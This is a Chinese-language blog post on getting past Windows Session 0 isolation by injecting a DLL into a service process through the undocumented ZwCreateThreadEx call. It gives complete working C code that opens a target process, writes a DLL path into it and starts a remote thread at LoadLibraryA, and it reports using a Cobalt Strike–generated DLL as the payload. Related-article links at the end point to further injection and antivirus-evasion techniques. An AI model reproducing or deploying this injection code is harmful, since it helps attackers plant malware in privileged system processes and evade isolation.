突破SESSION 0 隔离的远线程注入

简介: 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能会利用Windows的服务程序提升自身的权限,为此,在后续的Windows版本中,引入了一种隔离机制,普通应用程序已经不再session 0中运行。

一、前言

在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能会利用Windows的服务程序提升自身的权限,为此,在后续的Windows版本中,引入了一种隔离机制,普通应用程序已经不再session 0中运行。


二、突破SESSION 0 思路

由于SESSION 0隔离机制,导致传统远程线程注入系统服务进程失败。和传统的CreateRemoteThread函数实现的DLL远线程注入的唯一一个区别就是,我们调用的是更为底层的ZwCreateThreadEx来创建线程,

虽然CreateRemoteThread函数到底层也是调用ZwCreateThreadEx,但在调用ZwCreateThreadEx时 ,ZwCreateThreadEx的第7个参数 CreateSuspended(CreateThreadFlags)的值始终为1,它会导致线程创建完成后一直挂起无法恢复运行,于是我们选择直接调用ZwCreateThreadEx,将第7个参数直接置为0,这样可达到注入目的。


三、代码实现

ZwCreateThreadEx在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。

我们需要注意的是64位和32位中,函数定义还不一样。

64 位下,ZwCreateThreadEx 函数声明为:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

32 位下,ZwCreateThreadEx 函数声明为:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);

同样我们也使用 GetProcAddress 从 Kernel32.dll 中获取LoadLibraryA函数的导出地址

typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll")
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");

随后,我们获取进程句柄,在目标进程空间中申请内存空间,然后把我们的DLL写入到内存空间中,最后创建线程等待执行

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);
return 0;

效果如下图:

此处使用的DLL为Cobalt strike生成的64位DLL,最后完整代码如下:

#include <Windows.h>
#include <stdio.h>
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  PHANDLE ThreadHandle,
  ACCESS_MASK DesiredAccess,
  LPVOID ObjectAttributes,
  HANDLE ProcessHandle,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  ULONG CreateThreadFlags,
  SIZE_T ZeroBits,
  SIZE_T StackSize,
  SIZE_T MaximumStackSize,
  LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  PHANDLE ThreadHandle,
  ACCESS_MASK DesiredAccess,
  LPVOID ObjectAttributes,
  HANDLE ProcessHandle,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  BOOL CreateSuspended,
  DWORD dwStackSize,
  DWORD dw1,
  DWORD dw2,
  LPVOID pUnkown);
#endif
int main(int argc, char* argv[]) {
  char DllPath[] = "C:\\Users\\RTO\\Desktop\\Injection2\\a.dll";   //DLL路径
  HANDLE hRemoteThread;
  HMODULE hNtModule = GetModuleHandleA("ntdll.dll");
  HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");
  typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx");
  typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");
  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092);  //此处为SESSION 0的进程PID
  LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
  WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);
  ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);
  return 0;
}


四、小结

必须是管理员权限

目录
相关文章
|
4月前
|
缓存 安全 Java
Hibernate 中的 Session 是线程安全的吗?
【8月更文挑战第21天】
45 0
|
缓存 运维 监控
SSL Session默认设置导致线程阻塞了几十秒的案例分析
SSL Session默认设置导致线程阻塞了几十秒的案例分析
183 0
|
7月前
|
容器
多线程时Autowired自动注入问题
多线程时Autowired自动注入问题
222 2
|
Java Spring
Spring在多线程中bean的注入问题
Spring在多线程中bean的注入问题
174 0
|
网络协议 安全 API
驱动开发:内核远程线程实现DLL注入
在笔者上一篇文章`《内核RIP劫持实现DLL注入》`介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过`NtCreateThreadEx`这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,`NtCreateThreadEx`函数最终会调用`ZwCreateThread`,本章在寻找函数的方式上有所不同,前一章通过内存定位的方法得到所需地址,本章则是通过解析导出表实现。
4952 0
|
Shell
驱动开发:内核ShellCode线程注入
还记得`《驱动开发:内核LoadLibrary实现DLL注入》`中所使用的注入技术吗,我们通过`RtlCreateUserThread`函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入`ShellCode`代码实现反弹Shell,这里需要注意一般情况下`RtlCreateUserThread`需要传入两个最重要的参数,一个是`StartAddress`开始执行的内存块,另一个是`StartParameter`传入内存块的变量列表,而如果将`StartParameter`地址填充为`NULL`则表明不传递任何参数,也就是只在线程中执行`ShellCode`代码,利用
392 1
|
安全 Java
为什么直接通过 @Autowired 注入的 HttpServletRequest 没有线程安全的问题
我们在各个地方注入依赖时,大多数情况下都是单例的。为什么直接通过 @Autowired 注入的 HttpServletRequest 没有线程安全的问题呢?带着这个问题我做了如下笔记。
272 0
|
前端开发 安全 Java
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(上)
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(上)
|
安全 API Go
我的免杀之路:远程线程注入
远程线程注入技术能实现在Windows系统下进程的隐藏。其主要核心在于一个Windows API函数CreateRemoteThread,通过它可以在另外一个进程中注入一个线程并执行。
1051 0
我的免杀之路:远程线程注入
|
XML 安全 前端开发
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(下)
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(下)
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(下)